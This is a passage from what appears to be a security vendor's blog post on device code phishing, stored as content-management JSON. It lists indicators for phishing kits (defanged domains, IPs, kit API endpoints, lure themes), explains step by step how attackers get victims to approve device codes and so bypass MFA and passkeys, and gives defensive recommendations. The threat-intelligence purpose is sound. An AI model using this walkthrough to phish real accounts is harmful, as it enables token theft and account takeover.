as frontends; victim email passed in URL as last path segment ($base64) or ?acct/?encoded query",{"data":30875,"content":30876,"nodeType":4581},{},[30877,30887],{"data":30878,"content":30879,"nodeType":4569},{},[30880],{"data":30881,"content":30882,"nodeType":860},{},[30883],{"data":30884,"marks":30885,"value":29159,"nodeType":864},{},[30886],{"type":899},{"data":30888,"content":30889,"nodeType":4569},{},[30890,30901],{"data":30891,"content":30892,"nodeType":860},{},[30893,30897],{"data":30894,"marks":30895,"value":29634,"nodeType":864},{},[30896],{"type":899},{"data":30898,"marks":30899,"value":30900,"nodeType":864},{},[],"47.253.5.88 (Alibaba Cloud)",{"data":30902,"content":30903,"nodeType":860},{},[30904,30908],{"data":30905,"marks":30906,"value":29200,"nodeType":864},{},[30907],{"type":899},{"data":30909,"marks":30910,"value":29457,"nodeType":864},{},[],{"data":30912,"content":30913,"nodeType":4581},{},[30914,30924],{"data":30915,"content":30916,"nodeType":4569},{},[30917],{"data":30918,"content":30919,"nodeType":860},{},[30920],{"data":30921,"marks":30922,"value":29242,"nodeType":864},{},[30923],{"type":899},{"data":30925,"content":30926,"nodeType":4569},{},[30927],{"data":30928,"content":30929,"nodeType":860},{},[30930],{"data":30931,"marks":30932,"value":30933,"nodeType":864},{},[],"GET /api/session/{UUIDv4} polled with header X-API-Key: \u003Cprefix>_\u003C64-hex> (key materialised at runtime via atob(window.__cyb3r.k)) \nPOST /api/device-code with body {\"prt_foci_session_id\": \"\u003CUUID>\"} (second-stage code retrieval after initial session error)",{"data":30935,"content":30936,"nodeType":4581},{},[30937,30947],{"data":30938,"content":30939,"nodeType":4569},{},[30940],{"data":30941,"content":30942,"nodeType":860},{},[30943],{"data":30944,"marks":30945,"value":29294,"nodeType":864},{},[30946],{"type":899},{"data":30948,"content":30949,"nodeType":4569},{},[30950],{"data":30951,"content":30952,"nodeType":860},{},[30953],{"data":30954,"marks":30955,"value":30956,"nodeType":864},{},[],"Various: SharePoint \"Remittance Advice\"; Microsoft 365 generic sign-in; Microsoft 365 Voicemail (.mp3 attachment); OneDrive \"Shared file\"; German \"Sicheres Dokumentenportal\" PDF lure",{"data":30958,"content":30959,"nodeType":4581},{},[30960,30970],{"data":30961,"content":30962,"nodeType":4569},{},[30963],{"data":30964,"content":30965,"nodeType":860},{},[30966],{"data":30967,"marks":30968,"value":29517,"nodeType":864},{},[30969],{"type":899},{"data":30971,"content":30972,"nodeType":4569},{},[30973],{"data":30974,"content":30975,"nodeType":860},{},[30976],{"data":30977,"marks":30978,"value":30979,"nodeType":864},{},[],"afriqbeauglobal[.]com/homepage/index[.]html",{"data":30981,"content":30984,"nodeType":996},{"target":30982},{"sys":30983},{"id":7719,"type":1001,"linkType":1002},[],{"data":30986,"content":30987,"nodeType":1005},{},[],{"data":30989,"content":30990,"nodeType":1312},{},[30991],{"data":30992,"marks":30993,"value":30995,"nodeType":864},{},[30994],{"type":899},"\"CYB3R\"",{"data":30997,"content":30998,"nodeType":4845},{},[30999,31022,31060,31082,31105],{"data":31000,"content":31001,"nodeType":4581},{},[31002,31012],{"data":31003,"content":31004,"nodeType":4569},{},[31005],{"data":31006,"content":31007,"nodeType":860},{},[31008],{"data":31009,"marks":31010,"value":29135,"nodeType":864},{},[31011],{"type":899},{"data":31013,"content":31014,"nodeType":4569},{},[31015],{"data":31016,"content":31017,"nodeType":860},{},[31018],{"data":31019,"marks":31020,"value":31021,"nodeType":864},{},[],"Cloudflare Workers (workers.dev) hosting",{"data":31023,"content":31024,"nodeType":4581},{},[31025,31035],{"data":31026,"content":31027,"nodeType":4569},{},[31028],{"data":31029,"content":31030,"nodeType":860},{},[31031],{"data":31032,"marks":31033,"value":29159,"nodeType":864},{},[31034],{"type":899},{"data":31036,"content":31037,"nodeType":4569},{},[31038,31049],{"data":31039,"content":31040,"nodeType":860},{},[31041,31045],{"data":31042,"marks":31043,"value":29634,"nodeType":864},{},[31044],{"type":899},{"data":31046,"marks":31047,"value":31048,"nodeType":864},{},[],"2400:8d60:2::1:c116:843e (Evoxt VPS)",{"data":31050,"content":31051,"nodeType":860},{},[31052,31056],{"data":31053,"marks":31054,"value":29200,"nodeType":864},{},[31055],{"type":899},{"data":31057,"marks":31058,"value":31059,"nodeType":864},{},[]," axios/1.13.6",{"data":31061,"content":31062,"nodeType":4581},{},[31063,31073],{"data":31064,"content":31065,"nodeType":4569},{},[31066],{"data":31067,"content":31068,"nodeType":860},{},[31069],{"data":31070,"marks":31071,"value":29242,"nodeType":864},{},[31072],{"type":899},{"data":31074,"content":31075,"nodeType":4569},{},[31076],{"data":31077,"content":31078,"nodeType":860},{},[31079],{"data":31080,"marks":31081,"value":30933,"nodeType":864},{},[],{"data":31083,"content":31084,"nodeType":4581},{},[31085,31095],{"data":31086,"content":31087,"nodeType":4569},{},[31088],{"data":31089,"content":31090,"nodeType":860},{},[31091],{"data":31092,"marks":31093,"value":29294,"nodeType":864},{},[31094],{"type":899},{"data":31096,"content":31097,"nodeType":4569},{},[31098],{"data":31099,"content":31100,"nodeType":860},{},[31101],{"data":31102,"marks":31103,"value":31104,"nodeType":864},{},[],"DocuSign in Spanish (\"Documento Firmar — COTIZACIÓN/ESTIMACIÓN.pdf\", \"Complete su firma\", \"Verifique su identidad\", \"Continuar a Microsoft\").",{"data":31106,"content":31107,"nodeType":4581},{},[31108,31118],{"data":31109,"content":31110,"nodeType":4569},{},[31111],{"data":31112,"content":31113,"nodeType":860},{},[31114],{"data":31115,"marks":31116,"value":29517,"nodeType":864},{},[31117],{"type":899},{"data":31119,"content":31120,"nodeType":4569},{},[31121],{"data":31122,"content":31123,"nodeType":860},{},[31124],{"data":31125,"marks":31126,"value":31127,"nodeType":864},{},[],"muzagestion[.]secure-share[.]workers.dev",{"data":31129,"content":31133,"nodeType":996},{"target":31130},{"sys":31131},{"id":31132,"type":1001,"linkType":1002},"5EU0QNteiQcYybKG1W1cS3",[],{"data":31135,"content":31136,"nodeType":1005},{},[],{"data":31138,"content":31139,"nodeType":1009},{},[31140],{"data":31141,"marks":31142,"value":31144,"nodeType":864},{},[31143],{"type":899},"Device code phishing under the hood",{"data":31146,"content":31147,"nodeType":860},{},[31148,31152],{"data":31149,"marks":31150,"value":31151,"nodeType":864},{},[],"The attacker POSTs to the authorization server's device authorization endpoint with its client_id (i.e. an application ID) and requested scopes or resources. The server responds with a device_code (used for polling), a user_code, a verification_uri, an expires_in value, and a polling interval. The user visits the URL, enters the code and approves the request. Meanwhile, the device polls the token endpoint. Once approved, the server returns an access token, a refresh token (if offline_access was requested), and an ID token (if openid was included). ",{"data":31153,"marks":31154,"value":31156,"nodeType":864},{},[31155],{"type":899},"The attacker now has API access to the victim's account. ",{"data":31158,"content":31159,"nodeType":860},{},[31160],{"data":31161,"marks":31162,"value":31163,"nodeType":864},{},[],"Broadly, this gives the attacker a comparable level of control to a “normal” phishing attack (with conditions based on the scopes granted and specific app being targeted) while API access grants additional capabilities beyond standard browser sessions. When combined with other techniques, this access can be exchanged to open normal browser app sessions and access SSO connected apps.",{"data":31165,"content":31169,"nodeType":996},{"target":31166},{"sys":31167},{"id":31168,"type":1001,"linkType":1002},"4WtQR2xsE236yoyhSXj58Z",[],{"data":31171,"content":31175,"nodeType":996},{"target":31172},{"sys":31173},{"id":31174,"type":1001,"linkType":1002},"1x7Lip7JdY2xlHKKurT7qJ",[],{"data":31177,"content":31178,"nodeType":860},{},[31179],{"data":31180,"marks":31181,"value":31182,"nodeType":864},{},[],"At this point, you can achieve a number of objectives both inside the app ecosystem and across SSO connected apps — e.g. data theft, disruption, and ultimately extortion.",{"data":31184,"content":31185,"nodeType":860},{},[31186,31190,31195,31199],{"data":31187,"marks":31188,"value":31189,"nodeType":864},{},[],"Critically, the initial request to generate a device code is typically ",{"data":31191,"marks":31192,"value":31194,"nodeType":864},{},[31193],{"type":899},"unauthenticated",{"data":31196,"marks":31197,"value":31198,"nodeType":864},{},[]," across all providers — ",{"data":31200,"marks":31201,"value":31203,"nodeType":864},{},[31202],{"type":899},"anyone can generate one, from any machine, without proving any relationship to the target organization.",{"data":31205,"content":31206,"nodeType":860},{},[31207,31211,31216],{"data":31208,"marks":31209,"value":31210,"nodeType":864},{},[],"So, the attacker has to deliver a set of instructions via a phishing channel (e.g. email, social media DM, corp IM platform, and so on) with a device code that they have generated. The victim then enters this code on the ",{"data":31212,"marks":31213,"value":31215,"nodeType":864},{},[31214],{"type":899},"legitimate device code login page",{"data":31217,"marks":31218,"value":31219,"nodeType":864},{},[]," for that app and issues the tokens to the attacker.",{"data":31221,"content":31225,"nodeType":996},{"target":31222},{"sys":31223},{"id":31224,"type":1001,"linkType":1002},"1txUYuQjH9FlbDGTo8AbZB",[],{"data":31227,"content":31228,"nodeType":1005},{},[],{"data":31230,"content":31231,"nodeType":1009},{},[31232],{"data":31233,"marks":31234,"value":31236,"nodeType":864},{},[31235],{"type":899},"Why device code phishing is so dangerous",{"data":31238,"content":31239,"nodeType":1312},{},[31240],{"data":31241,"marks":31242,"value":31244,"nodeType":864},{},[31243],{"type":899},"Device code phishing bypasses authentication controls (including passkeys)",{"data":31246,"content":31247,"nodeType":860},{},[31248,31252,31257,31261],{"data":31249,"marks":31250,"value":31251,"nodeType":864},{},[],"A device code phishing attack ",{"data":31253,"marks":31254,"value":31256,"nodeType":864},{},[31255],{"type":899},"cannot be prevented with authentication controls",{"data":31258,"marks":31259,"value":31260,"nodeType":864},{},[],". This includes all forms of MFA and ",{"data":31262,"marks":31263,"value":31265,"nodeType":864},{},[31264],{"type":899},"even “phishing-resistant” authentication methods such as passkeys. ",{"data":31267,"content":31268,"nodeType":860},{},[31269,31274,31278,31283],{"data":31270,"marks":31271,"value":31273,"nodeType":864},{},[31272],{"type":899},"The device code authorization is effectively performed post-authentication. ",{"data":31275,"marks":31276,"value":31277,"nodeType":864},{},[],"If you already have an active session in your browser, entering the device code and selecting your account from a drop-down menu is all that's needed. ",{"data":31279,"marks":31280,"value":31282,"nodeType":864},{},[31281],{"type":899},"No password or MFA required. ",{"data":31284,"marks":31285,"value":31286,"nodeType":864},{},[],"You can see an example in the video below.",{"data":31288,"content":31291,"nodeType":996},{"target":31289},{"sys":31290},{"id":30220,"type":1001,"linkType":1002},[],{"data":31293,"content":31294,"nodeType":860},{},[31295],{"data":31296,"marks":31297,"value":31298,"nodeType":864},{},[],"Even if you do have to sign in again (because you're not already signed in for some reason), the attack still works because it isn't targeting the login — it's targeting the authorization layer instead.",{"data":31300,"content":31301,"nodeType":860},{},[31302],{"data":31303,"marks":31304,"value":31305,"nodeType":864},{},[],"This is what makes device code phishing different to other standard phishing methods like AiTM phishing (and arguably even more effective in environments with strict identity control enforcement). ",{"data":31307,"content":31308,"nodeType":1312},{},[31309],{"data":31310,"marks":31311,"value":31313,"nodeType":864},{},[31312],{"type":899},"Device code logins are a feature, not a vulnerability, making attacks difficult to block",{"data":31315,"content":31316,"nodeType":860},{},[31317],{"data":31318,"marks":31319,"value":31320,"nodeType":864},{},[],"Device code authorization is a legitimate mechanism regularly used in enterprise environments, particularly for CLI logins. Tools like Azure CLI, GitHub CLI, and AWS CLI all use (or have used) the device code flow as a primary or fallback authentication method. This creates a dual problem for defenders. ",{"data":31322,"content":31323,"nodeType":860},{},[31324],{"data":31325,"marks":31326,"value":31327,"nodeType":864},{},[],"First, the phishing attack happens entirely on a legitimate site — there's no fake login page, no malicious payload to scan for, and the URL in the browser is genuine. Since there's no traditional phishing content being delivered, these attacks are more resistant to detection by email and network security tools.",{"data":31329,"content":31330,"nodeType":860},{},[31331],{"data":31332,"marks":31333,"value":31334,"nodeType":864},{},[],"Second, the widespread legitimate use of device code flow — particularly among developers and technical users — normalizes the experience of entering device codes. A phishing lure asking them to do the same thing is indistinguishable from a legitimate IT request. And for non-technical users, this experience isn't much different to, for example, entering a code sent via email or authenticator app. ",{"data":31336,"content":31337,"nodeType":1312},{},[31338],{"data":31339,"marks":31340,"value":31342,"nodeType":864},{},[31341],{"type":899},"Multiple apps are vulnerable, with different risk profiles",{"data":31344,"content":31345,"nodeType":860},{},[31346],{"data":31347,"marks":31348,"value":31349,"nodeType":864},{},[],"Various apps implement the device code flow, each with different levels of control and default security, but the risk is not uniform across platforms. ",{"data":31351,"content":31352,"nodeType":941},{},[31353,31368,31382],{"data":31354,"content":31355,"nodeType":945},{},[31356],{"data":31357,"content":31358,"nodeType":860},{},[31359,31364],{"data":31360,"marks":31361,"value":31363,"nodeType":864},{},[31362],{"type":899},"Google Workspace ",{"data":31365,"marks":31366,"value":31367,"nodeType":864},{},[],"is a significantly lower-risk target because Google explicitly limits which scopes are available to the device code flow — Gmail, Calendar, and most Workspace APIs are simply unavailable through this mechanism. ",{"data":31369,"content":31370,"nodeType":945},{},[31371],{"data":31372,"content":31373,"nodeType":860},{},[31374,31378],{"data":31375,"marks":31376,"value":28841,"nodeType":864},{},[31377],{"type":899},{"data":31379,"marks":31380,"value":31381,"nodeType":864},{},[]," offers the broadest attack surface due to unrestricted scopes, reusable first-party client IDs, and the FOCI/PRT escalation paths. ",{"data":31383,"content":31384,"nodeType":945},{},[31385],{"data":31386,"content":31387,"nodeType":860},{},[31388,31392,31396],{"data":31389,"marks":31390,"value":31391,"nodeType":864},{},[],"Apps like ",{"data":31393,"marks":31394,"value":6423,"nodeType":864},{},[31395],{"type":899},{"data":31397,"marks":31398,"value":31399,"nodeType":864},{},[]," sit in between — broad scopes are available (including full repository access), but the attacker must control their own OAuth app and the victim sees an explicit consent screen. ",{"data":31401,"content":31405,"nodeType":996},{"target":31402},{"sys":31403},{"id":31404,"type":1001,"linkType":1002},"ejNSC76jge1p1zzz9wwiG",[],{"data":31407,"content":31408,"nodeType":1005},{},[],{"data":31410,"content":31411,"nodeType":1009},{},[31412],{"data":31413,"marks":31414,"value":31416,"nodeType":864},{},[31415],{"type":899},"Security recommendations",{"data":31418,"content":31419,"nodeType":860},{},[31420],{"data":31421,"marks":31422,"value":31423,"nodeType":864},{},[],"Security teams need to consider the risk posed by device code phishing across multiple apps where device code authorization grants are common, particularly for developers and technical users. ",{"data":31425,"content":31426,"nodeType":860},{},[31427],{"data":31428,"marks":31429,"value":31430,"nodeType":864},{},[],"In an ideal world, you would simply block device code logins. But this can’t be done without causing serious disruption in some environments, while some apps simply don’t provide the tools required to do so. For example, device code is the default CLI sign-in method for GitHub. Developer-heavy organizations are likely to encounter higher levels of legitimate use.",{"data":31432,"content":31433,"nodeType":860},{},[31434,31438,31447,31451,31456,31460,31465,31469,31474],{"data":31435,"marks":31436,"value":31437,"nodeType":864},{},[],"Microsoft arguably offers the strongest control options (other than Google, who negate it right out of the gate), though they do require a fair amount of work. ",{"data":31439,"content":31441,"nodeType":883},{"uri":31440},"https://techcommunity.microsoft.com/blog/microsoft-entra-blog/new-microsoft-managed-policies-to-raise-your-identity-security-posture/4286758",[31442],{"data":31443,"marks":31444,"value":31446,"nodeType":864},{},[31445],{"type":1455},"Microsoft now explicitly recommends",{"data":31448,"marks":31449,"value":31450,"nodeType":864},{},[]," blocking device code flow for tenants that haven't used it in the past 25 days. Their guidance is to create a custom CA policy: target relevant users, set the ",{"data":31452,"marks":31453,"value":31455,"nodeType":864},{},[31454],{"type":899},"Authentication Flows",{"data":31457,"marks":31458,"value":31459,"nodeType":864},{},[]," condition to block ",{"data":31461,"marks":31462,"value":31464,"nodeType":864},{},[31463],{"type":899},"Device Code Flow",{"data":31466,"marks":31467,"value":31468,"nodeType":864},{},[],", and set the grant control to ",{"data":31470,"marks":31471,"value":31473,"nodeType":864},{},[31472],{"type":899},"Block Access",{"data":31475,"marks":31476,"value":31477,"nodeType":864},{},[],". Deploy in report-only mode first to identify any legitimate device code usage, then enforce with narrow exceptions.",{"data":31479,"content":31483,"nodeType":996},{"target":31480},{"sys":31481},{"id":31482,"type":1001,"linkType":1002},"mQIj2o9xRzkZYKNmanB25",[],{"data":31485,"content":31486,"nodeType":860},{},[31487],{"data":31488,"marks":31489,"value":31490,"nodeType":864},{},[],"For other apps, you’re mainly limited to monitoring and response. Ensuring you’re getting authentication logs for these apps is vital, and searching for unusual access patterns (e.g. unusual login protocols, having different IPs for the authorization grant and subsequent account activity). ",{"data":31492,"content":31493,"nodeType":1005},{},[],{"data":31495,"content":31496,"nodeType":1009},{},[31497],{"data":31498,"marks":31499,"value":31501,"nodeType":864},{},[31500],{"type":899},"How Push Security can help",{"data":31503,"content":31504,"nodeType":860},{},[31505],{"data":31506,"marks":31507,"value":31508,"nodeType":864},{},[],"Push customers can use our browser-based capabilities to overcome the limitations of app-level controls and detect, intercept, and shut down attacks in real time. ",{"data":31510,"content":31511,"nodeType":860},{},[31512],{"data":31513,"marks":31514,"value":31515,"nodeType":864},{},[],"Our research team is already tracking multiple device code phishing campaigns and toolkits, including the EvilTokens kit. Blocking controls are already in place to prevent customers from interacting with malicious pages that match our detections for these new toolkits, ensuring that these pages can be identified and blocked in real time regardless of the infrastructure. ",{"data":31517,"content":31518,"nodeType":860},{},[31519,31523,31532],{"data":31520,"marks":31521,"value":31522,"nodeType":864},{},[],"Using Push you can also ",{"data":31524,"content":31526,"nodeType":883},{"uri":31525},"https://pushsecurity.com/help/can-i-use-push-to-help-protect-against-device-code-phishing-scenarios/",[31527],{"data":31528,"marks":31529,"value":31531,"nodeType":864},{},[31530],{"type":1455},"configure in-browser warnings",{"data":31533,"marks":31534,"value":31535,"nodeType":864},{},[]," whenever a user accesses a URL used for device code logins. This provides universal, last-mile protection against even ‘zero-day’ device code phishing attacks using previously unidentified toolkits.  ",{"data":31537,"content":31541,"nodeType":996},{"target":31538},{"sys":31539},{"id":31540,"type":1001,"linkType":1002},"3JsbGaOKSS3INzBUJpoh1W",[],{"data":31543,"content":31544,"nodeType":860},{},[31545],{"data":31546,"marks":31547,"value":31548,"nodeType":864},{},[],"When a user visits those URLs, Push will also emit a webhook event that the banner was shown and acknowledged. If a user opts to proceed, you can treat this as a high-fidelity alert for your security team to investigate, providing app-agnostic telemetry that may not already be provided in your logs from that particular vendor. You can also simply use Push to block users from accessing device login pages if you’re confident that disruption won’t be caused. ",{"data":31550,"content":31551,"nodeType":1312},{},[31552],{"data":31553,"marks":31554,"value":3578,"nodeType":864},{},[31555],{"type":899},{"data":31557,"content":31558,"nodeType":860},{},[31559],{"data":31560,"marks":31561,"value":31562,"nodeType":864},{},[],"Push Security's browser-based security platform detects and blocks browser-based attacks like AiTM phishing, credential stuffing, malicious browser extensions, ClickFix, and session hijacking. You don't need to wait until it all goes wrong either — you can use Push to proactively find and fix vulnerabilities across the apps that your employees use, like ghost logins, SSO coverage gaps, MFA gaps, vulnerable passwords, and more to harden your attack surface.",{"data":31564,"content":31565,"nodeType":860},{},[31566,31570,31577,31580,31588,31591,31598],{"data":31567,"marks":31568,"value":31569,"nodeType":864},{},[],"To learn more about Push, ",{"data":31571,"content":31572,"nodeType":883},{"uri":25603},[31573],{"data":31574,"marks":31575,"value":25609,"nodeType":864},{},[31576],{"type":1455},{"data":31578,"marks":31579,"value":3731,"nodeType":864},{},[],{"data":31581,"content":31582,"nodeType":883},{"uri":25615},[31583],{"data":31584,"marks":31585,"value":31587,"nodeType":864},{},[31586],{"type":1455},"view our demo library",{"data":31589,"marks":31590,"value":25625,"nodeType":864},{},[],{"data":31592,"content":31593,"nodeType":883},{"uri":1700},[31594],{"data":31595,"marks":31596,"value":25633,"nodeType":864},{},[31597],{"type":1455},{"data":31599,"marks":31600,"value":2924,"nodeType":864},{},[],"Device code phishing attacks have skyrocketed: here’s what you need to know","Device code phishing is seeing a huge spike in adoption in 2026, enabling attackers to steal access tokens while bypassing standard access controls.","2026-04-04T00:00:00.000Z",{"items":31605},[31606,31608],{"sys":31607,"name":6593},{"id":6592},{"sys":31609,"name":342},{"id":6596},{"items":31611},[31612],{"fullName":4949,"firstName":4950,"jobTitle":4951,"profilePicture":31613},{"url":4955},{"__typename":2059,"sys":31615,"content":31616,"title":4865,"synopsis":4866,"hashTags":59,"publishedDate":4867,"slug":4868,"tagsCollection":32685,"authorsCollection":32691},{"id":3628},{"json":31617},{"data":31618,"content":31619,"nodeType":856},{},[31620,31633,31638,31644,31650,31655,31658,31665,31672,31687,31725,31730,31743,31746,31753,31760,31782,31814,31820,31823,31830,31837,31843,31848,31854,31857,31864,31871,31905,31935,31941,31944,31951,31958,31978,31984,32023,32029,32032,32039,32046,32082,32088,32093,32096,32103,32110,32136,32142,32147,32153,32156,32163,32170,32193,32199,32205,32211,32214,32221,32228,32234,32239,32245,32266,32289,32292,32299,32306,32312,32318,32321,32328,32383,32386,32393,32399,32667,32670],{"data":31621,"content":31622,"nodeType":860},{},[31623,31626,31630],{"data":31624,"marks":31625,"value":3639,"nodeType":864},{},[],{"data":31627,"marks":31628,"value":3644,"nodeType":864},{},[31629],{"type":899},{"data":31631,"marks":31632,"value":3648,"nodeType":864},{},[],{"data":31634,"content":31637,"nodeType":996},{"target":31635},{"sys":31636},{"id":3653,"type":1001,"linkType":1002},[],{"data":31639,"content":31640,"nodeType":860},{},[31641],{"data":31642,"marks":31643,"value":3661,"nodeType":864},{},[],{"data":31645,"content":31646,"nodeType":860},{},[31647],{"data":31648,"marks":31649,"value":3668,"nodeType":864},{},[],{"data":31651,"content":31654,"nodeType":996},{"target":31652},{"sys":31653},{"id":3673,"type":1001,"linkType":1002},[],{"data":31656,"content":31657,"nodeType":1005},{},[],{"data":31659,"content":31660,"nodeType":1009},{},[31661],{"data":31662,"marks":31663,"value":3685,"nodeType":864},{},[31664],{"type":899},{"data":31666,"content":31667,"nodeType":860},{},[31668],{"data":31669,"marks":31670,"value":3693,"nodeType":864},{},[31671],{"type":899},{"data":31673,"content":31674,"nodeType":860},{},[31675,31678,31684],{"data":31676,"marks":31677,"value":3700,"nodeType":864},{},[],{"data":31679,"content":31680,"nodeType":883},{"uri":3703},[31681],{"data":31682,"marks":31683,"value":3708,"nodeType":864},{},[],{"data":31685,"marks":31686,"value":3712,"nodeType":864},{},[],{"data":31688,"content":31689,"nodeType":860},{},[31690,31693,31699,31702,31706,31709,31713,31716,31722],{"data":31691,"marks":31692,"value":3719,"nodeType":864},{},[],{"data":31694,"content":31695,"nodeType":883},{"uri":3722},[31696],{"data":31697,"marks":31698,"value":3727,"nodeType":864},{},[],{"data":31700,"marks":31701,"value":3731,"nodeType":864},{},[],{"data":31703,"marks":31704,"value":3736,"nodeType":864},{},[31705],{"type":899},{"data":31707,"marks":31708,"value":2232,"nodeType":864},{},[],{"data":31710,"marks":31711,"value":3744,"nodeType":864},{},[31712],{"type":899},{"data":31714,"marks":31715,"value":3748,"nodeType":864},{},[],{"data":31717,"content":31718,"nodeType":883},{"uri":3751},[31719],{"data":31720,"marks":31721,"value":3756,"nodeType":864},{},[],{"data":31723,"marks":31724,"value":3760,"nodeType":864},{},[],{"data":31726,"content":31729,"nodeType":996},{"target":31727},{"sys":31728},{"id":3765,"type":1001,"linkType":1002},[],{"data":31731,"content":31732,"nodeType":860},{},[31733,31736,31740],{"data":31734,"marks":31735,"value":3773,"nodeType":864},{},[],{"data":31737,"marks":31738,"value":3778,"nodeType":864},{},[31739],{"type":899},{"data":31741,"marks":31742,"value":2924,"nodeType":864},{},[],{"data":31744,"content":31745,"nodeType":1005},{},[],{"data":31747,"content":31748,"nodeType":1009},{},[31749],{"data":31750,"marks":31751,"value":3792,"nodeType":864},{},[31752],{"type":899},{"data":31754,"content":31755,"nodeType":860},{},[31756],{"data":31757,"marks":31758,"value":3693,"nodeType":864},{},[31759],{"type":899},{"data":31761,"content":31762,"nodeType":860},{},[31763,31766,31772,31775,31779],{"data":31764,"marks":31765,"value":3806,"nodeType":864},{},[],{"data":31767,"content":31768,"nodeType":883},{"uri":3809},[31769],{"data":31770,"marks":31771,"value":3814,"nodeType":864},{},[],{"data":31773,"marks":31774,"value":3818,"nodeType":864},{},[],{"data":31776,"marks":31777,"value":3823,"nodeType":864},{},[31778],{"type":899},{"data":31780,"marks":31781,"value":3827,"nodeType":864},{},[],{"data":31783,"content":31784,"nodeType":860},{},[31785,31788,31794,31797,31801,31804,31811],{"data":31786,"marks":31787,"value":3834,"nodeType":864},{},[],{"data":31789,"content":31790,"nodeType":883},{"uri":3837},[31791],{"data":31792,"marks":31793,"value":3842,"nodeType":864},{},[],{"data":31795,"marks":31796,"value":3846,"nodeType":864},{},[],{"data":31798,"marks":31799,"value":3851,"nodeType":864},{},[31800],{"type":899},{"data":31802,"marks":31803,"value":3855,"nodeType":864},{},[],{"data":31805,"content":31806,"nodeType":883},{"uri":3858},[31807],{"data":31808,"marks":31809,"value":3864,"nodeType":864},{},[31810],{"type":899},{"data":31812,"marks":31813,"value":3868,"nodeType":864},{},[],{"data":31815,"content":31816,"nodeType":860},{},[31817],{"data":31818,"marks":31819,"value":3875,"nodeType":864},{},[],{"data":31821,"content":31822,"nodeType":1005},{},[],{"data":31824,"content":31825,"nodeType":1009},{},[31826],{"data":31827,"marks":31828,"value":3886,"nodeType":864},{},[31829],{"type":899},{"data":31831,"content":31832,"nodeType":860},{},[31833],{"data":31834,"marks":31835,"value":3894,"nodeType":864},{},[31836],{"type":899},{"data":31838,"content":31839,"nodeType":860},{},[31840],{"data":31841,"marks":31842,"value":3901,"nodeType":864},{},[],{"data":31844,"content":31847,"nodeType":996},{"target":31845},{"sys":31846},{"id":3906,"type":1001,"linkType":1002},[],{"data":31849,"content":31850,"nodeType":860},{},[31851],{"data":31852,"marks":31853,"value":3914,"nodeType":864},{},[],{"data":31855,"content":31856,"nodeType":1005},{},[],{"data":31858,"content":31859,"nodeType":1009},{},[31860],{"data":31861,"marks":31862,"value":3925,"nodeType":864},{},[31863],{"type":899},{"data":31865,"content":31866,"nodeType":860},{},[31867],{"data":31868,"marks":31869,"value":3894,"nodeType":864},{},[31870],{"type":899},{"data":31872,"content":31873,"nodeType":860},{},[31874,31877,31884,31887,31893,31896,31902],{"data":31875,"marks":31876,"value":3939,"nodeType":864},{},[],{"data":31878,"content":31879,"nodeType":883},{"uri":3942},[31880],{"data":31881,"marks":31882,"value":3948,"nodeType":864},{},[31883],{"type":1455},{"data":31885,"marks":31886,"value":3731,"nodeType":864},{},[],{"data":31888,"content":31889,"nodeType":883},{"uri":3954},[31890],{"data":31891,"marks":31892,"value":3959,"nodeType":864},{},[],{"data":31894,"marks":31895,"value":3731,"nodeType":864},{},[],{"data":31897,"content":31898,"nodeType":883},{"uri":3965},[31899],{"data":31900,"marks":31901,"value":3970,"nodeType":864},{},[],{"data":31903,"marks":31904,"value":3974,"nodeType":864},{},[],{"data":31906,"content":31907,"nodeType":860},{},[31908,31911,31918,31921,31925,31928,31932],{"data":31909,"marks":31910,"value":21,"nodeType":864},{},[],{"data":31912,"content":31913,"nodeType":883},{"uri":2411},[31914],{"data":31915,"marks":31916,"value":3988,"nodeType":864},{},[31917],{"type":1455},{"data":31919,"marks":31920,"value":3992,"nodeType":864},{},[],{"data":31922,"marks":31923,"value":3997,"nodeType":864},{},[31924],{"type":899},{"data":31926,"marks":31927,"value":4001,"nodeType":864},{},[],{"data":31929,"marks":31930,"value":4006,"nodeType":864},{},[31931],{"type":2246},{"data":31933,"marks":31934,"value":4010,"nodeType":864},{},[],{"data":31936,"content":31937,"nodeType":860},{},[31938],{"data":31939,"marks":31940,"value":4017,"nodeType":864},{},[],{"data":31942,"content":31943,"nodeType":1005},{},[],{"data":31945,"content":31946,"nodeType":1009},{},[31947],{"data":31948,"marks":31949,"value":4028,"nodeType":864},{},[31950],{"type":899},{"data":31952,"content":31953,"nodeType":860},{},[31954],{"data":31955,"marks":31956,"value":3894,"nodeType":864},{},[31957],{"type":899},{"data":31959,"content":31960,"nodeType":860},{},[31961,31964,31968,31971,31975],{"data":31962,"marks":31963,"value":4042,"nodeType":864},{},[],{"data":31965,"marks":31966,"value":4047,"nodeType":864},{},[31967],{"type":2246},{"data":31969,"marks":31970,"value":4051,"nodeType":864},{},[],{"data":31972,"marks":31973,"value":4056,"nodeType":864},{},[31974],{"type":2246},{"data":31976,"marks":31977,"value":4060,"nodeType":864},{},[],{"data":31979,"content":31980,"nodeType":860},{},[31981],{"data":31982,"marks":31983,"value":4067,"nodeType":864},{},[],{"data":31985,"content":31986,"nodeType":941},{},[31987,32005],{"data":31988,"content":31989,"nodeType":945},{},[31990],{"data":31991,"content":31992,"nodeType":860},{},[31993,31996,32002],{"data":31994,"marks":31995,"value":2761,"nodeType":864},{},[],{"data":31997,"content":31998,"nodeType":883},{"uri":4082},[31999],{"data":32000,"marks":32001,"value":4087,"nodeType":864},{},[],{"data":32003,"marks":32004,"value":4091,"nodeType":864},{},[],{"data":32006,"content":32007,"nodeType":945},{},[32008],{"data":32009,"content":32010,"nodeType":860},{},[32011,32014,32020],{"data":32012,"marks":32013,"value":2761,"nodeType":864},{},[],{"data":32015,"content":32016,"nodeType":883},{"uri":4103},[32017],{"data":32018,"marks":32019,"value":4108,"nodeType":864},{},[],{"data":32021,"marks":32022,"value":4112,"nodeType":864},{},[],{"data":32024,"content":32025,"nodeType":860},{},[32026],{"data":32027,"marks":32028,"value":4119,"nodeType":864},{},[],{"data":32030,"content":32031,"nodeType":1005},{},[],{"data":32033,"content":32034,"nodeType":1009},{},[32035],{"data":32036,"marks":32037,"value":4130,"nodeType":864},{},[32038],{"type":899},{"data":32040,"content":32041,"nodeType":860},{},[32042],{"data":32043,"marks":32044,"value":4138,"nodeType":864},{},[32045],{"type":899},{"data":32047,"content":32048,"nodeType":860},{},[32049,32052,32056,32059,32065,32068,32072,32075,32079],{"data":32050,"marks":32051,"value":4145,"nodeType":864},{},[],{"data":32053,"marks":32054,"value":4150,"nodeType":864},{},[32055],{"type":899},{"data":32057,"marks":32058,"value":4154,"nodeType":864},{},[],{"data":32060,"content":32061,"nodeType":883},{"uri":3237